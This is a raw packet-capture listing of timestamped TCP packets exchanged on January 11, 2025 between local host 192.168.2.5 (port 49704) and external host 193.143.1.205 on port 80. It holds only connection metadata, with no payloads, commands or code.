Jan 11, 2025 07:52:02.611366034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.611380100 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.611447096 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.611471891 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.611624956 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.611665964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.611680984 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.611705065 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.641952991 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.641973972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.641988039 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.642002106 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.642018080 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.642039061 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.642069101 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.642100096 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.642158985 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.642173052 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.642189026 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.642191887 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.642227888 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.642241001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.642256021 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.642283916 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.642458916 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.642474890 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.642518044 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.642533064 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.642580032 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.642594099 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.642611027 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.642663002 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.642677069 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.642699003 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.642713070 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.642716885 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.642728090 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.642735958 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.642762899 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.643152952 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.643167973 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.643182039 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.643203974 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.643217087 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.643230915 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.643238068 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.643245935 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.643254995 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.643275976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.643280983 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.643290043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.643302917 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.643305063 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.643346071 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.643830061 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.643870115 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.643908024 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.644067049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.644081116 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.644094944 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.644115925 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.644118071 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.644130945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.644144058 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.644166946 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.644171000 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.644207001 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.644256115 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.644268990 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.644282103 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.644284010 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.644295931 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.644311905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.644320011 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.644356012 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.645056963 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.645071030 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.645085096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.645097971 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.645117998 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.645131111 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.645133972 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.645145893 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.645167112 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.645169973 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.645180941 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.645195007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.645209074 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.645217896 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.645224094 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.645251989 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.645947933 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.645970106 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.645984888 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.645998001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.646013021 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.646014929 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.646025896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.646040916 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.646047115 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.646076918 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.646115065 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.646127939 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.646142960 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.646143913 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.646157026 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.646171093 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.646178961 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.646210909 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.646934986 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.646949053 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.646962881 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.646975994 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.646990061 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.646996975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.647013903 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.647026062 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.647039890 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.647039890 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.647053957 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.647067070 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.647079945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.647088051 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.647094965 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.647119999 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.647140026 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.647754908 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.647778034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.647793055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.647805929 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.647819996 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.647819996 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.647840977 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.647841930 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.647855043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.647867918 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.647881031 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.647890091 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.647902012 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.647902966 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.647917986 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.647932053 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.647945881 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.647977114 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.648952961 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.648972034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.648986101 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.649008989 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.650516033 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.702327967 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.702399969 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.702450037 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.702481985 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.702481031 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.702532053 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.702557087 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.702564955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.702598095 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.702629089 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.702630043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.702661991 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.702673912 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.702694893 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.702728033 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.702749014 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.702759981 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.702792883 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.702815056 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.702827930 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.702862978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.702871084 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.702894926 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.702927113 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.702954054 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.702960968 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.702992916 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.703005075 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.703044891 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.703078985 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.703094959 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.703113079 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.703183889 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.733467102 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.733496904 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.733519077 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.733532906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.733546972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.733562946 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.733558893 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.733592033 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.733652115 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.733664036 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.733680010 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.733695030 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.733710051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.733721018 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.733726978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.733741045 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.733752012 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.733757019 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.733772039 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.733787060 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.733793020 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.733802080 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.733815908 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.733817101 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.733829975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.733844995 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.733856916 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.733860970 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.733890057 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.733912945 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.733959913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.733974934 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.734000921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.734052896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.734076977 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.734096050 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.734102011 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.734149933 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.734183073 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.734205008 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.734215021 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.734247923 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.734258890 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.734280109 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.734312057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.734323978 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.734344006 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.734399080 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.734400034 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.734431982 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.734477997 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.734492064 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.734510899 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.734544039 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.734559059 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.734576941 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.734610081 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.734632969 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.734642029 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.734677076 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.734685898 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.734710932 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.734745026 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.734764099 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.734776020 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.734808922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.734817028 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.734841108 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.734874010 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.734884977 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.734905958 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.734939098 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.734951019 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.734971046 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.735003948 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.735024929 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.735035896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.735069036 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.735081911 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.735100985 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.735142946 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.738893986 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.738950014 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.738984108 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.739016056 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.739017010 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.739048958 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.739065886 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.739098072 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.739140034 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.739142895 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.739176035 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.739207983 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.739231110 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.739238977 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.739272118 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.739281893 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.739339113 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.739384890 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.739387989 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.739435911 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.739469051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.739480972 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.739497900 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.739541054 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.739545107 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.739579916 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.739612103 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.739624977 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.739645004 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.739676952 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.739687920 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.739711046 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.739743948 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.739757061 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.739774942 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.739809036 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.739820004 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.739840984 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.739871979 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.739907026 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.739912033 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.739934921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.739965916 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.751907110 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.763681889 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.763716936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.763731003 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.763745070 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.763748884 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.763760090 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.763787985 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.763796091 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.763827085 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.763959885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.763976097 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.763989925 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.764023066 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.764023066 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.764048100 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.764060020 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.764072895 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.764086962 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.764101028 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.764115095 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.764118910 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.764204979 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.765264988 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.793135881 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.793175936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.793188095 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.793212891 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.793226957 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.793236971 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.793241024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.793262959 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.793267012 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.793278933 CET	80	49704	193.143.1.205	192.168.2.5
